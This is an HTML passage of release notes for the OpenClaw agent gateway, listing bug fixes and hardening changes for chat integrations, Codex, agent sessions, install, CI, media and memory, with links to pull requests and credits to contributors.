<p>WhatsApp/QQ/Twitch/IRC/Slack: restore WhatsApp ack identity and group-drop warnings, make QQ Bot media respect <code>OPENCLAW_HOME</code>, serialize Twitch auth disconnects, store IRC channel routes canonically, and keep Slack downloaded files out of reply media. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4473618299" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83833" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/83833/hovercard" href="https://github.com/openclaw/openclaw/pull/83833">#83833</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4501915785" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85309" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85309/hovercard" href="https://github.com/openclaw/openclaw/pull/85309">#85309</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508902915" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85777" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85777/hovercard" href="https://github.com/openclaw/openclaw/pull/85777">#85777</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509181286" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85794" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85794/hovercard" href="https://github.com/openclaw/openclaw/pull/85794">#85794</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514166403" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86318" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86318/hovercard" href="https://github.com/openclaw/openclaw/pull/86318">#86318</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520463860" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86697" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86697/hovercard" href="https://github.com/openclaw/openclaw/pull/86697">#86697</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Discord/voice: improve voice playback and wake replies, bucket large model picker menus, merge media captions into one message, route metadata through configured proxies, restore numeric channel sends, suppress self-reply echoes, and tighten wake matching without breaking fuzzy wake phrases. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4415391667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80227" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80227/hovercard" href="https://github.com/openclaw/openclaw/issues/80227">#80227</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513382967" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86238" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86238/hovercard" href="https://github.com/openclaw/openclaw/pull/86238">#86238</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517016511" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86487" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86487/hovercard" href="https://github.com/openclaw/openclaw/pull/86487">#86487</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518354506" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86571" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86571/hovercard" href="https://github.com/openclaw/openclaw/pull/86571">#86571</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518728147" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86595" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86595/hovercard" href="https://github.com/openclaw/openclaw/pull/86595">#86595</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518852311" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86601" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86601/hovercard" href="https://github.com/openclaw/openclaw/pull/86601">#86601</a>)</p>
</li>
<li>
<p>Codex: preserve native web-search metadata, keep oversized native thread reuse, bridge CLI API-key auth into the app server, preserve sandbox bootstrap path style, recover context-window prompt errors, honor yolo approval policy, disable native thread personality, and route compaction through Codex auth. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4503098560" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85378" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85378/hovercard" href="https://github.com/openclaw/openclaw/pull/85378">#85378</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4506087008" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85542" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85542/hovercard" href="https://github.com/openclaw/openclaw/pull/85542">#85542</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510132239" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85891" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85891/hovercard" href="https://github.com/openclaw/openclaw/pull/85891">#85891</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515716562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86408" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86408/hovercard" href="https://github.com/openclaw/openclaw/pull/86408">#86408</a>)</p>
</li>
<li>
<p>Agents/runtime: enforce session lock max-hold reclaim, release embedded-attempt locks on all exits, treat aborted subagent runs as terminal, avoid runtime model hydration on hot paths, disclose scoped session list counts, derive overflow budgets from provider errors, and keep fallback errors scoped to the active model candidate. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4313476027" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/70473" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/70473/hovercard" href="https://github.com/openclaw/openclaw/pull/70473">#70473</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508768461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85764" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85764/hovercard" href="https://github.com/openclaw/openclaw/pull/85764">#85764</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511256935" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/86014/hovercard" href="https://github.com/openclaw/openclaw/issues/86014">#86014</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4512330133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86134/hovercard" href="https://github.com/openclaw/openclaw/pull/86134">#86134</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515962032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86427" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86427/hovercard" href="https://github.com/openclaw/openclaw/pull/86427">#86427</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangguiping-xydt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangguiping-xydt">@zhangguiping-xydt</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Config/update/doctor: retry config recovery after failed backup restore, skip shell env fallback on Windows, exclude prerelease tags from the stable git channel, support deep config edits, warn instead of aborting on unreadable cron stores, prune stale bundled plugin paths, and avoid duplicate restart prompts when the Gateway is already healthy. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508546495" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85739" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85739/hovercard" href="https://github.com/openclaw/openclaw/pull/85739">#85739</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509027061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85787" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85787/hovercard" href="https://github.com/openclaw/openclaw/pull/85787">#85787</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511769726" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86060/hovercard" href="https://github.com/openclaw/openclaw/pull/86060">#86060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4513592243" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86260" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86260/hovercard" href="https://github.com/openclaw/openclaw/pull/86260">#86260</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4515361802" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86384" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86384/hovercard" href="https://github.com/openclaw/openclaw/pull/86384">#86384</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4517880193" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86533" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86533/hovercard" href="https://github.com/openclaw/openclaw/pull/86533">#86533</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liaoyl830/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liaoyl830">@liaoyl830</a>.</p>
</li>
<li>
<p>Install/release: support Alpine CLI installs and runtime floors, prefer trusted startup argv runtime fallback roots, reject stale CLI node runtimes, avoid npm <code>min-release-age</code> installer failures, bound npm/package/Docker install phases, restore config parent ownership in Docker, seed Docker lockfile package tarballs before prune, make release/plugin prerelease checks fail closed instead of hanging or false-greening, and use host-visible Crabbox local work roots for Docker-backed proof. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4505205830" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85491" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85491/hovercard" href="https://github.com/openclaw/openclaw/pull/85491">#85491</a>)</p>
</li>
<li>
<p>Windows daemon: keep Scheduled Task gateway launches running on battery power and avoid workgroup-machine prompts for a domain user during task installation. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4190592974" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/59299" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/59299/hovercard" href="https://github.com/openclaw/openclaw/issues/59299">#59299</a>)</p>
</li>
<li>
<p>Security: avoid printing Gateway tokens in Docker, validate plugin model-pattern regexes safely, escape transcript metadata field names, harden session allowlist glob matching, audit Claude permission overrides under YOLO, and require explicit allow for ACP auto approvals. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4509772199" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85849" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85849/hovercard" href="https://github.com/openclaw/openclaw/pull/85849">#85849</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510569360" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85934" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85934/hovercard" href="https://github.com/openclaw/openclaw/pull/85934">#85934</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511654235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86046/hovercard" href="https://github.com/openclaw/openclaw/pull/86046">#86046</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518138669" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86557" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86557/hovercard" href="https://github.com/openclaw/openclaw/pull/86557">#86557</a>)</p>
</li>
<li>
<p>Media/images: replace Sharp with Rastermill, keep EXIF normalization best-effort, normalize HEIC/HEIF before image descriptions, route Codex image API keys through OpenAI, preserve image compression metadata, and auto-scale live tool result caps. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4508895502" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85776/hovercard" href="https://github.com/openclaw/openclaw/pull/85776">#85776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4511517298" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86037" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86037/hovercard" href="https://github.com/openclaw/openclaw/pull/86037">#86037</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4516124165" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86437" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86437/hovercard" href="https://github.com/openclaw/openclaw/pull/86437">#86437</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4523450985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86857/hovercard" href="https://github.com/openclaw/openclaw/pull/86857">#86857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4524700097" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86923" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86923/hovercard" href="https://github.com/openclaw/openclaw/pull/86923">#86923</a>)</p>
</li>
<li>
<p>Memory: prevent semantic vector indexes from silently degrading when embeddings are unavailable, stop doctor OOMs on large session stores, preserve sidecar hooks/artifacts, write fallback dream diaries, use CJK-aware dreaming dedupe, and avoid per-file watcher FD fan-out. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4419718885" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80613" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/80613/hovercard" href="https://github.com/openclaw/openclaw/issues/80613">#80613</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462409079" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82928" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/82928/hovercard" href="https://github.com/openclaw/openclaw/issues/82928">#82928</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4496988085" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85060/hovercard" href="https://github.com/openclaw/openclaw/pull/85060">#85060</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4507908481" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85704" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85704/hovercard" href="https://github.com/openclaw/openclaw/pull/85704">#85704</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510790288" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85967" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85967/hovercard" href="https://github.com/openclaw/openclaw/pull/85967">#85967</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4520541942" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86701" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86701/hovercard" href="https://github.com/openclaw/openclaw/pull/86701">#86701</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/brokemac79/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/brokemac79">@brokemac79</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yaaboo-gif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yaaboo-gif">@yaaboo-gif</a>.</p>
</li>
<li>
<p>Agents/sessions: include visibility metadata on restricted <code>sessions_list</code> results so scoped counts are clearly reported without widening access or exposing hidden-session counts. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4525235363" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86944" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86944/hovercard" href="https://github.com/openclaw/openclaw/pull/86944">#86944</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Gateway/DNS: validate wide-area discovery domains before deriving zone paths or writing zone files, so invalid <code>discovery.wideArea.domain</code> and <code>dns setup --domain</code> values fail with a DNS-name diagnostic instead of falling through to unrelated configuration errors. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mmaps/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mmaps">@mmaps</a>.</p>
</li>
<li>
<p>Agents/BTW: route fallback side-question streams through the embedded stream resolver so Anthropic-compatible MiniMax requests use the same capped transport as normal chat. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4514047622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86312" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86312/hovercard" href="https://github.com/openclaw/openclaw/pull/86312">#86312</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Telegram: treat <code>/command@TargetBot</code> bot-command entities as explicit mentions for the addressed bot so <code>requireMention</code> groups no longer drop targeted commands or captions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4483658268" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/84462" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/84462/hovercard" href="https://github.com/openclaw/openclaw/issues/84462">#84462</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518070126" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86553" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86553/hovercard" href="https://github.com/openclaw/openclaw/pull/86553">#86553</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/luoyanglang/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/luoyanglang">@luoyanglang</a>.</p>
</li>
<li>
<p>CI: bound Docker/Bash E2E tarball npm installs with <code>OPENCLAW_E2E_NPM_INSTALL_TIMEOUT</code> so package, onboarding, plugin, and upgrade lanes fail instead of hanging on a stuck npm install.</p>
</li>
<li>
<p>CI: fail Parallels npm-update smoke jobs after the guest command timeout and cleanup backstop instead of only logging a timeout line.</p>
</li>
<li>
<p>CI: bound kitchen-sink RPC HTTP probes so stalled gateway readiness or response bodies fail and retry instead of wedging the walker.</p>
</li>
<li>
<p>CI: keep <code>OPENCLAW_TESTBOX=1 pnpm check:changed</code> delegating to Blacksmith Testbox through Crabbox without forwarding local Testbox or worker env into the remote command.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for manual checkout fetch timeouts so stuck Testbox and workflow checkout retries cannot hang behind a wedged <code>git fetch</code>.</p>
</li>
<li>
<p>CI: send KILL after the TERM grace period for Bun global install smoke command timeouts so trapped <code>openclaw</code> child processes cannot wedge the scheduled install smoke.</p>
</li>
<li>
<p>iMessage: thread current channel/account inbound attachment roots into the image tool so iMessage-saved attachments under <code>~/Library/Messages/Attachments</code> (including the wildcard <code>/Users/*/Library/Messages/Attachments</code> root) are read through the existing inbound path policy instead of being rejected as <code>path-not-allowed</code>. Literal <code>localRoots</code> stays workspace-scoped. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4005822500" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/30170" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/30170/hovercard" href="https://github.com/openclaw/openclaw/issues/30170">#30170</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518328054" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86569" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86569/hovercard" href="https://github.com/openclaw/openclaw/pull/86569">#86569</a>)</p>
</li>
<li>
<p>QQ Bot: respect <code>OPENCLAW_HOME</code> for outbound media path resolution so <code>&lt;qqmedia&gt;</code> sends no longer silently fail when <code>HOME</code> and <code>OPENCLAW_HOME</code> differ (Docker / multi-user hosts). Persisted QQ Bot data (sessions, known users, refs) stays anchored on the OS home for upgrade compatibility. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4468393053" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/83562" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/83562/hovercard" href="https://github.com/openclaw/openclaw/issues/83562">#83562</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sliverp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sliverp">@sliverp</a>.</p>
</li>
<li>
<p>Update: report the primary malformed <code>openclaw.extensions</code> payload error without adding a duplicate missing-main diagnostic. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518738170" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86596" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86596/hovercard" href="https://github.com/openclaw/openclaw/pull/86596">#86596</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>Control UI: keep host-local Markdown file paths inert while preserving app-relative links. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4519194707" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86620" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86620/hovercard" href="https://github.com/openclaw/openclaw/pull/86620">#86620</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BryanTegomoh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BryanTegomoh">@BryanTegomoh</a>.</p>
</li>
<li>
<p>Gateway: dampen repeated unauthenticated device-required probes per URL while preserving explicit-auth and paired recovery paths. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4518368934" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/86575" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/86575/hovercard" href="https://github.com/openclaw/openclaw/pull/86575">#86575</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ferminquant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ferminquant">@ferminquant</a>.</p>
</li>
<li>
<p>IRC: store inbound channel routes with the canonical <code>channel:#name</code> target and join transient channel sends before writing. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510338183" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85906" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85906/hovercard" href="https://github.com/openclaw/openclaw/pull/85906">#85906</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kailigithub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kailigithub">@Kailigithub</a>.</p>
</li>
<li>
<p>Usage: surface unknown all-zero model pricing as missing cost entries instead of a confident <code>$0</code> total. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510071986" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85882" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85882/hovercard" href="https://github.com/openclaw/openclaw/pull/85882">#85882</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MichaelZelbel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MichaelZelbel">@MichaelZelbel</a>.</p>
</li>
<li>
<p>Agents/Codex: honor yolo app-server approval policy only for the full <code>never</code> plus <code>danger-full-access</code> case. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4510371309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/85909" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/85909/hovercard" href="https://github.com/openclaw/openclaw/pull/85909">#85909</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/earlvanze/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/earlvanze">@earlvanze</a>.</p>
</li>
<li>
<p>Gateway/Gmail: clear Gmail watcher renewal intervals on re-entry so hot reloads do not leak lifecycle timers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4462445654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/82947" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/82947/hovercard" href="https://github.com/openclaw/openclaw/pull/82947">#82947</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SebTardif/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SebTardif">@SebTardif</a>.</p>
</li>
<li>
<p>Logging: exit cleanly on broken stdout/stderr pipes without masking existing failure exit codes. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4414373713" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/80059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/80059/hovercard" href="https://github.com/openclaw/openclaw/pull/80059">#80059</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pavelzak/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pavelzak">@pavelzak</a>.</p>
</li>
<li>
